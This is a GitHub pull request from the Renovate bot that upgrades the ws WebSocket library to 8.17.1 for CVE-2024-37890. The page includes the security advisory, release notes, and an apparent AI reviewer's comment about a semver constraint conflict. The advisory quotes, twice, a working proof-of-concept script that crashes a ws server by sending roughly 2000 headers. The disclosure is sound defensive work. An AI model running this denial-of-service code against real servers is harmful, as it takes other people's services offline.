chore(deps): update dependency ws to v8.17.1 [security] - autoclosed

[renovate]

This PR contains the following updates:

Package	Change	Age	Confidence
ws	8.17.0 → 8.17.1

GitHub Vulnerability Alerts

CVE-2024-37890

Impact

A request with a number of headers exceeding theserver.maxHeadersCount threshold could be used to crash a ws server.

Proof of concept

const http = require('http');
const WebSocket = require('ws');

const wss = new WebSocket.Server({ port: 0 }, function () {
  const chars = "!#$%&'*+-.0123456789abcdefghijklmnopqrstuvwxyz^_`|~".split('');
  const headers = {};
  let count = 0;

  for (let i = 0; i < chars.length; i++) {
    if (count === 2000) break;

    for (let j = 0; j < chars.length; j++) {
      const key = chars[i] + chars[j];
      headers[key] = 'x';

      if (++count === 2000) break;
    }
  }

  headers.Connection = 'Upgrade';
  headers.Upgrade = 'websocket';
  headers['Sec-WebSocket-Key'] = 'dGhlIHNhbXBsZSBub25jZQ==';
  headers['Sec-WebSocket-Version'] = '13';

  const request = http.request({
    headers: headers,
    host: '127.0.0.1',
    port: wss.address().port
  });

  request.end();
});

Patches

The vulnerability was fixed in ws@8.17.1 (websockets/ws@e55e510) and backported to ws@7.5.10 (websockets/ws@22c2876), ws@6.2.3 (websockets/ws@eeb76d3), and ws@5.2.4 (websockets/ws@4abd8f6)

Workarounds

In vulnerable versions of ws, the issue can be mitigated in the following ways:

1. Reduce the maximum allowed length of the request headers using the --max-http-header-size=size and/or the maxHeaderSize options so that no more headers than the server.maxHeadersCount limit can be sent.
2. Set server.maxHeadersCount to 0 so that no limit is applied.

Credits

The vulnerability was reported by Ryan LaPointe in https://github.com/websockets/ws/issues/2230.

References

• https://github.com/websockets/ws/issues/2230
• https://github.com/websockets/ws/pull/2231

---

Release Notes

websockets/ws (ws)

v8.17.1

Compare Source

Bug fixes

• Fixed a DoS vulnerability (#​2231).

A request with a number of headers exceeding theserver.maxHeadersCount
threshold could be used to crash a ws server.

const http = require('http');
const WebSocket = require('ws');

const wss = new WebSocket.Server({ port: 0 }, function () {
  const chars = "!#$%&'*+-.0123456789abcdefghijklmnopqrstuvwxyz^_`|~".split('');
  const headers = {};
  let count = 0;

  for (let i = 0; i < chars.length; i++) {
    if (count === 2000) break;

    for (let j = 0; j < chars.length; j++) {
      const key = chars[i] + chars[j];
      headers[key] = 'x';

      if (++count === 2000) break;
    }
  }

  headers.Connection = 'Upgrade';
  headers.Upgrade = 'websocket';
  headers['Sec-WebSocket-Key'] = 'dGhlIHNhbXBsZSBub25jZQ==';
  headers['Sec-WebSocket-Version'] = '13';

  const request = http.request({
    headers: headers,
    host: '127.0.0.1',
    port: wss.address().port
  });

  request.end();
});

The vulnerability was reported by Ryan LaPointe in #​2230.

In vulnerable versions of ws, the issue can be mitigated in the following ways:

1. Reduce the maximum allowed length of the request headers using the
   --max-http-header-size=size and/or the maxHeaderSize options so
   that no more headers than the server.maxHeadersCount limit can be sent.
2. Set server.maxHeadersCount to 0 so that no limit is applied.

---

Configuration

📅 Schedule: (UTC)

• Branch creation
  • ""
• Automerge
  • At any time (no schedule defined)

🚦 Automerge: Disabled by config. Please merge this manually once you are satisfied.

♻ Rebasing: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 Ignore: Close this PR and you won't be reminded about this update again.

---

• If you want to rebase/retry this PR, check this box

---

This PR was generated by Mend Renovate. View the repository job log.

[changeset-bot]

⚠️ No Changeset found

Latest commit: e023413

Merging this PR will not cause a version bump for any packages. If these changes should not result in a new version, you're good to go. If these changes should result in a version bump, you need to add a changeset.

This PR includes no changesets

When changesets are added to this PR, you'll see the packages that this PR includes changesets for and the associated semver types

Click here to learn what changesets are, and how to add one.

Click here if you're a maintainer who wants to add a changeset to this PR

[devin-ai-integration]

Devin Review found 1 potential issue.

View 1 additional finding in Devin Review.

[devin-ai-integration]

🔴 ws downgraded to 8.17.1 violates ^8.18.0 version constraint in agents and openai plugin

This PR downgrades ws from 8.18.3 to 8.17.1 across the lockfile, but agents/package.json and plugins/openai/package.json both declare "ws": "^8.18.0" as their dependency constraint. The semver range ^8.18.0 means >=8.18.0 <9.0.0, so 8.17.1 does not satisfy it. The lockfile at pnpm-lock.yaml:199-201 and pnpm-lock.yaml:332-334 both show specifier: ^8.18.0 resolved to version: 8.17.1. This will cause pnpm install to fail or produce an inconsistent lockfile, breaking CI and local development.

Affected lockfile entries

agents (pnpm-lock.yaml:199-201):

ws:
  specifier: ^8.18.0
  version: 8.17.1

plugins/openai (pnpm-lock.yaml:332-334):

ws:
  specifier: ^8.18.0
  version: 8.17.1

---

Was this helpful? React with 👍 or 👎 to provide feedback.